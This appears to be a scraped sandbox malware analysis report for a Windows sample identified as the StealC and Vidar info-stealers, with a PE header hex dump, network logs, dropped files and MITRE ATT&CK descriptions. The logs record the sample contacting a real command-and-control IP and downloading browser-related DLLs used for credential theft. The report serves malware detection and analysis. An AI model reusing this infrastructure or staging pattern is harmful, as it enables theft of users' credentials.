00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGDBKKFHIEGDHJKECAAK

C:\ProgramData\CBAKJKJJ

C:\ProgramData\DGCBAFIJDGHCAKECAEGC

C:\ProgramData\FHJDGHIJ

C:\ProgramData\FHJDGHIJDGCBAAAAAFIJDAECGH

C:\ProgramData\GCGHJEBGHJKEBFHIJDHC

C:\ProgramData\HCAAEBKEGHJKEBFHJDBFCFBKKJ

C:\ProgramData\HCAKFBGCBFHIJKECGIIJKJKJKJ

C:\ProgramData\IDGHDGIDAKEBAAKFCGHCBAKJDA

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 001F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 001E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 001EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 001F4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 001E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 001F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 001E7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 001F0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 001E5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Function 001EA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre